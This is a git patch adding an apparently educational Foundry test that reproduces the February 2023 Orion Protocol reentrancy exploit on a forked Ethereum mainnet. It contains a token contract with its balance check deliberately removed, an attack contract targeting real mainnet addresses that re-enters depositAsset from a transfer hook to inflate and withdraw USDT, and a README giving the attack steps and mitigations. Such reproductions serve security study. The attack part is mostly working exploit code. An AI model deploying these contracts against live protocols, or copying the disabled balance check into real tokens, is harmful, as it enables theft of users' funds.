From c3aa64ce44833841145c0faf95bcc6b441032805 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Mat=C3=ADas=20Marquez?= Date: Fri, 10 Feb 2023 19:16:53 -0300 Subject: [PATCH] Orion (WIP) --- test/Reentrancy/Orion/ATT_ERC20.sol | 355 +++++++++++++++++++++++++ test/Reentrancy/Orion/Orion.attack.sol | 154 +++++++++++ test/Reentrancy/Orion/README.md | 85 ++++++ 3 files changed, 594 insertions(+) create mode 100644 test/Reentrancy/Orion/ATT_ERC20.sol create mode 100644 test/Reentrancy/Orion/Orion.attack.sol create mode 100644 test/Reentrancy/Orion/README.md diff --git a/test/Reentrancy/Orion/ATT_ERC20.sol b/test/Reentrancy/Orion/ATT_ERC20.sol new file mode 100644 index 0000000..8c0a26f --- /dev/null +++ b/test/Reentrancy/Orion/ATT_ERC20.sol @@ -0,0 +1,355 @@ +// SPDX-License-Identifier: MIT +// OpenZeppelin Contracts (last updated v4.8.0) (token/ERC20/ERC20.sol) + +pragma solidity ^0.8.0; + +/** + * @dev Implementation of the {IERC20} interface. + * + * This implementation is agnostic to the way tokens are created. This means + * that a supply mechanism has to be added in a derived contract using {_mint}. + * For a generic mechanism see {ERC20PresetMinterPauser}. + * + * TIP: For a detailed writeup see our guide + * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How + * to implement supply mechanisms]. + * + * The default value of {decimals} is 18. To change this, you should override + * this function so it returns a different value. + * + * We have followed general OpenZeppelin Contracts guidelines: functions revert + * instead returning `false` on failure. This behavior is nonetheless + * conventional and does not conflict with the expectations of ERC20 + * applications. + * + * Additionally, an {Approval} event is emitted on calls to {transferFrom}. + * This allows applications to reconstruct the allowance for all accounts just + * by listening to said events. Other implementations of the EIP may not emit + * these events, as it isn't required by the specification. + * + * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} + * functions have been added to mitigate the well-known issues around setting + * allowances. See {IERC20-approve}. + */ +contract ATT_ERC20 { + mapping(address => uint256) private _balances; + + mapping(address => mapping(address => uint256)) private _allowances; + + uint256 private _totalSupply; + + string private _name; + string private _symbol; + + /** + * @dev Sets the values for {name} and {symbol}. + * + * All two of these values are immutable: they can only be set once during + * construction. + */ + constructor(string memory name_, string memory symbol_) { + _name = name_; + _symbol = symbol_; + } + + /** + * @dev Returns the name of the token. + */ + function name() public view virtual returns (string memory) { + return _name; + } + + /** + * @dev Returns the symbol of the token, usually a shorter version of the + * name. + */ + function symbol() public view virtual returns (string memory) { + return _symbol; + } + + /** + * @dev Returns the number of decimals used to get its user representation. + * For example, if `decimals` equals `2`, a balance of `505` tokens should + * be displayed to a user as `5.05` (`505 / 10 ** 2`). + * + * Tokens usually opt for a value of 18, imitating the relationship between + * Ether and Wei. This is the default value returned by this function, unless + * it's overridden. + * + * NOTE: This information is only used for _display_ purposes: it in + * no way affects any of the arithmetic of the contract, including + * {IERC20-balanceOf} and {IERC20-transfer}. + */ + function decimals() public view virtual returns (uint8) { + return 18; + } + + /** + * @dev See {IERC20-totalSupply}. + */ + function totalSupply() public view virtual returns (uint256) { + return _totalSupply; + } + + /** + * @dev See {IERC20-balanceOf}. + */ + function balanceOf(address account) public view virtual returns (uint256) { + return _balances[account]; + } + + /** + * @dev See {IERC20-transfer}. + * + * Requirements: + * + * - `to` cannot be the zero address. + * - the caller must have a balance of at least `amount`. + */ + function transfer(address to, uint256 amount) public virtual returns (bool) { + address owner = msg.sender; + _transfer(owner, to, amount); + return true; + } + + /** + * @dev See {IERC20-allowance}. + */ + function allowance(address owner, address spender) public view virtual returns (uint256) { + return _allowances[owner][spender]; + } + + /** + * @dev See {IERC20-approve}. + * + * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on + * `transferFrom`. This is semantically equivalent to an infinite approval. + * + * Requirements: + * + * - `spender` cannot be the zero address. + */ + function approve(address spender, uint256 amount) public virtual returns (bool) { + address owner = msg.sender; + _approve(owner, spender, amount); + return true; + } + + /** + * @dev See {IERC20-transferFrom}. + * + * Emits an {Approval} event indicating the updated allowance. This is not + * required by the EIP. See the note at the beginning of {ERC20}. + * + * NOTE: Does not update the allowance if the current allowance + * is the maximum `uint256`. + * + * Requirements: + * + * - `from` and `to` cannot be the zero address. + * - `from` must have a balance of at least `amount`. + * - the caller must have allowance for ``from``'s tokens of at least + * `amount`. + */ + function transferFrom(address from, address to, uint256 amount) public virtual returns (bool) { + address spender = msg.sender; + _spendAllowance(from, spender, amount); + _transfer(from, to, amount); + return true; + } + + /** + * @dev Atomically increases the allowance granted to `spender` by the caller. + * + * This is an alternative to {approve} that can be used as a mitigation for + * problems described in {IERC20-approve}. + * + * Emits an {Approval} event indicating the updated allowance. + * + * Requirements: + * + * - `spender` cannot be the zero address. + */ + function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { + address owner = msg.sender; + _approve(owner, spender, allowance(owner, spender) + addedValue); + return true; + } + + /** + * @dev Atomically decreases the allowance granted to `spender` by the caller. + * + * This is an alternative to {approve} that can be used as a mitigation for + * problems described in {IERC20-approve}. + * + * Emits an {Approval} event indicating the updated allowance. + * + * Requirements: + * + * - `spender` cannot be the zero address. + * - `spender` must have allowance for the caller of at least + * `subtractedValue`. + */ + function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { + address owner = msg.sender; + uint256 currentAllowance = allowance(owner, spender); + require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); + unchecked { + _approve(owner, spender, currentAllowance - subtractedValue); + } + + return true; + } + + /** + * @dev Moves `amount` of tokens from `from` to `to`. + * + * This internal function is equivalent to {transfer}, and can be used to + * e.g. implement automatic token fees, slashing mechanisms, etc. + * + * Emits a {Transfer} event. + * + * Requirements: + * + * - `from` cannot be the zero address. + * - `to` cannot be the zero address. + * - `from` must have a balance of at least `amount`. + */ + function _transfer(address from, address to, uint256 amount) internal virtual { + require(from != address(0), "ERC20: transfer from the zero address"); + require(to != address(0), "ERC20: transfer to the zero address"); + + _beforeTokenTransfer(from, to, amount); + + uint256 fromBalance = _balances[from]; + // we don't do this here + // require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); + unchecked { + _balances[from] = fromBalance - amount; + // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by + // decrementing then incrementing. + _balances[to] += amount; + } + + _afterTokenTransfer(from, to, amount); + } + + /** @dev Creates `amount` tokens and assigns them to `account`, increasing + * the total supply. + * + * Emits a {Transfer} event with `from` set to the zero address. + * + * Requirements: + * + * - `account` cannot be the zero address. + */ + function _mint(address account, uint256 amount) internal virtual { + require(account != address(0), "ERC20: mint to the zero address"); + + _beforeTokenTransfer(address(0), account, amount); + + _totalSupply += amount; + unchecked { + // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above. + _balances[account] += amount; + } + _afterTokenTransfer(address(0), account, amount); + } + + /** + * @dev Destroys `amount` tokens from `account`, reducing the + * total supply. + * + * Emits a {Transfer} event with `to` set to the zero address. + * + * Requirements: + * + * - `account` cannot be the zero address. + * - `account` must have at least `amount` tokens. + */ + function _burn(address account, uint256 amount) internal virtual { + require(account != address(0), "ERC20: burn from the zero address"); + + _beforeTokenTransfer(account, address(0), amount); + + uint256 accountBalance = _balances[account]; + require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); + unchecked { + _balances[account] = accountBalance - amount; + // Overflow not possible: amount <= accountBalance <= totalSupply. + _totalSupply -= amount; + } + + _afterTokenTransfer(account, address(0), amount); + } + + /** + * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. + * + * This internal function is equivalent to `approve`, and can be used to + * e.g. set automatic allowances for certain subsystems, etc. + * + * Emits an {Approval} event. + * + * Requirements: + * + * - `owner` cannot be the zero address. + * - `spender` cannot be the zero address. + */ + function _approve(address owner, address spender, uint256 amount) internal virtual { + require(owner != address(0), "ERC20: approve from the zero address"); + require(spender != address(0), "ERC20: approve to the zero address"); + + _allowances[owner][spender] = amount; + } + + /** + * @dev Updates `owner` s allowance for `spender` based on spent `amount`. + * + * Does not update the allowance amount in case of infinite allowance. + * Revert if not enough allowance is available. + * + * Might emit an {Approval} event. + */ + function _spendAllowance(address owner, address spender, uint256 amount) internal virtual { + uint256 currentAllowance = allowance(owner, spender); + if (currentAllowance != type(uint256).max) { + require(currentAllowance >= amount, "ERC20: insufficient allowance"); + unchecked { + _approve(owner, spender, currentAllowance - amount); + } + } + } + + /** + * @dev Hook that is called before any transfer of tokens. This includes + * minting and burning. + * + * Calling conditions: + * + * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens + * will be transferred to `to`. + * - when `from` is zero, `amount` tokens will be minted for `to`. + * - when `to` is zero, `amount` of ``from``'s tokens will be burned. + * - `from` and `to` are never both zero. + * + * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. + */ + function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {} + + /** + * @dev Hook that is called after any transfer of tokens. This includes + * minting and burning. + * + * Calling conditions: + * + * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens + * has been transferred to `to`. + * - when `from` is zero, `amount` tokens have been minted for `to`. + * - when `to` is zero, `amount` of ``from``'s tokens have been burned. + * - `from` and `to` are never both zero. + * + * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. + */ + function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {} +} \ No newline at end of file diff --git a/test/Reentrancy/Orion/Orion.attack.sol b/test/Reentrancy/Orion/Orion.attack.sol new file mode 100644 index 0000000..01135a6 --- /dev/null +++ b/test/Reentrancy/Orion/Orion.attack.sol @@ -0,0 +1,154 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.17; + +import "forge-std/Test.sol"; +import {TestHarness} from "../../TestHarness.sol"; +import {CheatCodes} from "../../interfaces/00_CheatCodes.interface.sol"; + +import {ICompound} from '../../utils/ICompound.sol'; +import {ICurve} from '../../utils/ICurve.sol'; +import {IUniswapV2Pair} from '../../utils/IUniswapV2Pair.sol'; + +import {IERC20} from '../../interfaces/IERC20.sol'; +import {IWETH9} from '../../interfaces/IWETH9.sol'; + + +import "./ATT_ERC20.sol"; + +/* +Twitter comment +1. Create a fake token ATK which has a hook on transfer’) and add liquidity into uniswap +2. Deposit 0.5 USDC into Orion contract via depositAsset' ) +3. Flashloan 191,606 USDT and call swapThroughOrionPool’) to swap USDC via path USDC, ATK, USDT, reentry from ATK transfer’) to depositAsset’/) to deposit 191,606 USDT +4. Withdraw 191,606 USDT +*/ +interface OrionPoolV2Factory { + function createPair(address tokenA, address tokenB) external returns (address pair); +} + +interface OrionPair { + function mint(address to) external returns (uint liquidity); +} + +interface Orion { + function depositAsset(address asset, uint112 amount) external; + function swapThroughOrionPool(uint112 amount_spend, uint112 amount_receive, address[] calldata path, bool is_exact_spend) external; + function withdraw(address asset, uint112 amount) external; +} + +contract AttackOrion is ATT_ERC20 { + uint256 balance = 1; + IERC20 private constant usdt = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7); + IERC20 private constant usdc = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); + OrionPoolV2Factory factory = OrionPoolV2Factory(0x5FA0060FcfEa35B31F7A5f6025F0fF399b98Edf1); + AttackOrion token; + Orion orion = Orion(0xb5599f568D3f3e6113B286d010d2BCa40A7745AA); + uint112 initialAmount = 1 * 10**6; + + uint count = 0; + + constructor() ATT_ERC20("ATK", "ATK") {} + + function perform() external { + token = this; + + prankFunding(); + approvals(); + + OrionPair a = OrionPair(factory.createPair(address(token), address(usdc))); + OrionPair b = OrionPair(factory.createPair(address(token), address(usdt))); + + usdc.transfer(address(a),500000); + bytes memory d = abi.encodeWithSelector(usdt.transfer.selector, address(b), 5000000); + address(usdt).call(d); + d = abi.encodeWithSelector(usdt.transfer.selector, address(this), 1); + address(usdt).call(d); + token.mint(address(this), 10000000000); + token.mint(address(a), 10000000000); + token.mint(address(b), 10000000000); + a.mint(address(this)); + b.mint(address(this)); + + orion.depositAsset(address(usdc), 500000); + + printBalance("USDT before attack"); + address[] memory path = new address[](3); + path[0] = address(usdc); + path[1] = address(token); + path[2] = address(usdt); + + uint256 initialGas = gasleft(); + uint112 amount = initialAmount; + while (amount < 3000000000000) { + if (amount > 3000000000000) { + amount = 3000000000000; + } + orion.swapThroughOrionPool(10000, 0, path, true); + orion.withdraw(address(usdt), amount); + amount += amount; + } + uint256 finalGas = gasleft(); + console.log("Delta gas %s", initialGas - finalGas); + + printBalance("USDT after attack"); + } + + function prankFunding() internal { + //Funding account with a few cents + CheatCodes cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D); + cheat.prank(address(0x55FE002aefF02F77364de339a1292923A15844B8)); + usdc.transfer(address(this), 10000000); + bytes memory d = abi.encodeWithSelector(usdt.transfer.selector, address(this), 10000000); + cheat.prank(0xA7A93fd0a276fc1C0197a5B5623eD117786eeD06); + address(usdt).call(d); + } + + function approvals() internal { + address[] memory addresses = new address[](2); + address[] memory tokens = new address[](2); + tokens[0] = address(usdt); + tokens[1] = address(usdc); + addresses[1] = address(orion); + for (uint i = 0; i < addresses.length; i++) { + address a = addresses[i]; + //USDT fails when calling approve, so we use a low level call + bytes memory data = abi.encodeWithSelector(this.approve.selector, a, type(uint256).max); + for (uint j = 0; j < tokens.length; j++) { + address token = tokens[j]; + (bool success, bytes memory b) = token.call(data); + if (!success) { + console.log("Not success %s %s", token, a); + } + } + } + } + + function mint(address addr, uint256 amount) external { + _mint(addr, amount); + } + + function _afterTokenTransfer(address from, address to, uint256 amount) internal override virtual { + count++; + if (count >= 4) { + uint256 balance = usdt.balanceOf(address(this)); + orion.depositAsset(address(usdt), uint112(balance)); + } + } + + function printBalance(string memory label) internal { + console.log(label); + console.log("%s", usdt.balanceOf(address(this))); + } +} + +contract Exploit_Orion is TestHarness { + + function setUp() external { + cheat.createSelectFork("mainnet", 16542147); + } + + function test_attack() public { + AttackOrion att = new AttackOrion(); + att.perform(); + } +} \ No newline at end of file diff --git a/test/Reentrancy/Orion/README.md b/test/Reentrancy/Orion/README.md new file mode 100644 index 0000000..a9d77d5 --- /dev/null +++ b/test/Reentrancy/Orion/README.md @@ -0,0 +1,85 @@ +# Orion Protocol +- **Type:** Exploit +- **Network:** Ethereum +- **Total lost**: ~$3MM +- **Category:** Reentrancy +- **Exploited contracts:** +- - Orion: https://etherscan.io/address/0xb5599f568D3f3e6113B286d010d2BCa40A7745AA +- - Implementation: https://etherscan.io/address/0xc99d22d4d27304d72bab7ad4379833c029bc105c +- **Attack transactions:** +- - Attack Tx: https://etherscan.io/tx/0xa6f63fcb6bec8818864d96a5b1bb19e8bd85ee37b2cc916412e720988440b2aa +- **Attack Block:**: 16542148 +- **Date:** Feb 2, 2023 +- **Reproduce:** `forge test --match-contract Exploit_Orion -vvv` + +## Step-by-step +1. Deploy ATK token +2. Create uniswap pairs betwwen USDC and ATK, and USDT and ATK +3. Small funding of previous contracts +4. Flashloan USDT +4. Swap values through [USDC, ATK, USDT] path +6. During swap, deposit assets into Orion contract +7. Withdraw and repay flashloan + +## Detailed Description +The `swapThroughOrionPool` possess a `nonReentrant` modifier that is missing in the `depositAsset` function. + +```solidity + function depositAsset(address assetAddress, uint112 amount) external { + uint256 actualAmount = IERC20(assetAddress).balanceOf(address(this)); + IERC20(assetAddress).safeTransferFrom( + msg.sender, + address(this), + uint256(amount) + ); + actualAmount = IERC20(assetAddress).balanceOf(address(this)) - actualAmount; + require(actualAmount <= amount, "IDA"); + generalDeposit(assetAddress, uint112(actualAmount)); + } +``` + +``` + function swapThroughOrionPool( + uint112 amount_spend, + uint112 amount_receive, + address[] calldata path, + bool is_exact_spend + ) public payable nonReentrant { + bool isCheckPosition = LibPool.doSwapThroughOrionPool( + IPoolFunctionality.SwapData({ + amount_spend: amount_spend, + amount_receive: amount_receive, + is_exact_spend: is_exact_spend, + supportingFee: false, + path: path, + orionpool_router: _orionpoolRouter, + isInContractTrade: false, + isSentETHEnough: false, + isFromWallet: false, + asset_spend: address(0) + }), + assetBalances, liabilities); + if (isCheckPosition) { + require(checkPosition(msg.sender), "E1PS"); + } + } +``` + +Using a custom token it is possible to call the `depositAsset` function from the `swapThroughOrionPool` call. + +Additionally, the `swapThroughOrionPool` works by checking balances previous and post the transfer. This allows the user to call `depositAsset` from the swap call and increase its balance in the pool by both the real `depositAsset` call and the additional value counted after the `_swap` method. This actually multiplies the earned amount. + +## Additional observations + +We should a possible reduction on the flashloan cost of the attack by requesting a lower amount and performing multiple reentrancies attacks instead of only one with a huge amount + +The attack starts with $1 in USDT and doubles each time in a loop call. + +## Possible mitigations +- Use a reentrancy check in the deposit function +- Better track balances by checking transfer call changes instead of the whole function delta +- Balances increases could be bounded by delta value and expected amount for an additional layer of security + + +## Sources and references +- [Peckshield Twitter Thread](https://twitter.com/peckshield/status/1621337925228306433)